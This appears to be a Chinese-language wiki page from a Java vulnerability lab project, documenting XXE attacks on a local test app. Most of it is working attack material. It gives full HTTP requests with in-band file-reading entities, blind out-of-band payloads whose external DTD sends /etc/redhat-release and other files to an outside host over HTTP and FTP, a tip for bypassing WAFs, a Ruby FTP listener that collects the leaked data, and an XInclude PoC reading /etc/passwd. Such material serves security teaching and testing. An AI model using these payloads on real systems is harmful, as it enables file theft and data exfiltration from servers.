Skip to content
JoyChou edited this page Feb 7, 2023 · 4 revisions

4.1 有回显

正常解析XML:

POST /xxe/DocumentBuilder HTTP/1.1
Host: 127.0.0.1:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,de;q=0.7,fr;q=0.6,da;q=0.5,mt;q=0.4
Connection: close
Content-Type: application/xml
Content-Length: 170

<?xml version="1.0" encoding="UTF-8"?>
<book id="1">		
	<name>Good Job</name>		
	<author>JoyChou</author>		
	<year>2017</year>		
	<price>100.00</price>	
</book>

返回

name: Good Job
author: JoyChou
year: 2017
price: 100.00

利用file协议读取文件:

POST /xxe/DocumentBuilder_return HTTP/1.1
Host: 127.0.0.1:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,de;q=0.7,fr;q=0.6,da;q=0.5,mt;q=0.4
Connection: close
Content-Type: application/xml
Content-Length: 133

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou [
    <!ENTITY xxe SYSTEM "file:///tmp/1.txt">
]>
<root>&xxe;</root>

返回

#text: 1111
~!@#%^%'">
2222
➜ cat 1.txt
1111
~!@#%^%'">
2222

在 XML 元素中,"<" 和 "&" 是非法的。"<" 会产生错误,因为解析器会把该字符解释为新元素的开始。"&" 也会产生错误,因为解析器会把该字符解释为字符实体的开始。

可以将脚本代码定义为 CDATA。CDATA 部分中的所有内容都会被解析器忽略。CDATA 部分由 "" 结束。具体利用方式可以查看https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/ 文章。但我在测试用CDATA,并没有读取<&成功。Payload如下:

-------------------------------------------------------------
post data:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
    <!ENTITY % start "<![CDATA[">
    <!ENTITY % stuff SYSTEM "file:///tmp/1.txt">
    <!ENTITY % end "]]>">
    <!ENTITY % dtd SYSTEM "http://test.joychou.org/cdata.dtd">
    %dtd;
]>
<root>&all;</root>


cdata.dtd:
<!ENTITY all "%start;%stuff;%end;">

-------------------------------------------------------------

post data:
<!DOCTYPE data [
    <!ENTITY % dtd SYSTEM "http://test.joychou.org/cdata.dtd">
    %dtd;
    %all;
]>
<data>&fileContents;</data>


cdata.dtd:
<!ENTITY % file SYSTEM "file:///tmp/1.xt">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

-------------------------------------------------------------

4.2 Blind(无回显)

在这份XXE漏洞代码中,需要设置Content-Type为application/xml,服务端才能获取到body内容。

POST /xxe/DocumentBuilder HTTP/1.1
Host: 127.0.0.1:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,de;q=0.7,fr;q=0.6,da;q=0.5,mt;q=0.4
Connection: close
Content-Type: application/xml
Content-Length: 79

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://test.joychou.org/evil.dtd">

payloads:

  • 没有ENTITY关键字,可以用来Bypass WAF
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://test.joychou.org/evil.dtd">
  • 有ENTITY关键字,可能会被WAF拦截
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://test.joychou.org/evil.dtd">%remote;]>
<root/>

evil.dtd代码:

http协议:

<!ENTITY % data SYSTEM "file:///tmp/x">
<!ENTITY % payload "<!ENTITY &#37; send SYSTEM 'http://test.joychou.org/?data=%data;'>">
%payload;
%send;

ftp协议:

<!ENTITY % data SYSTEM "file:///etc/redhat-release">
<!ENTITY % payload "<!ENTITY &#37; send SYSTEM 'ftp://fakeuser:fakepass@test.joychou.org:2121/%data;'>">
%payload;
%send;

或者将%payload;放在ftp的username或者password处。如果ftp不跟用户名或者密码ftp://test.joychou.org:2121/%payload;,利用FTP协议会接收到Java的版本。

New client connected
< USER anonymous
< PASS Java1.8.0_121@
< TYPE I
< EPSV ALL
< EPSV
< EPRT |1|172.17.29.150|60731|
< RETR test
< xxe
< ftp

FTP Server代码:

require 'socket'
server = TCPServer.new 2121
loop do
  Thread.start(server.accept) do |client|
    puts "New client connected"
    data = ""
    client.puts("220 xxe-ftp-server")
    loop {
        req = client.gets()
        puts "< "+req
        if req.include? "USER"
            client.puts("331 password please - version check")
        else
           #puts "> 230 more data please!"
            client.puts("230 more data please!")
        end
    }
  end
end

测试的结果(Centos):

Java版本 是否能读换行 被截断的字符 其他报错的字符(什么都不能读) 被替换成换行的字符
1.7.0_80 # ? % & ' /
1.8.0_121 # ? % & ' /
1.8.0_181 # ? % & ' /

可能还有其他的字符和其他的Java版本没有测试。不过我猜测,自从Java 1.8的某个版本起,就不能读取换行。至于是那个版本开始,就不具体测试了,大家知道这个特性就好 -)

4.3 支持Xinclude的XXE

2018年08月22日更新支持XInclude的XXE漏洞代码,详情见代码。

POC

<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
 <xi:include href="file:///etc/passwd" parse="text"/>
</root>

详情可以查看浅析xml之xinclude & xslt

Clone this wiki locally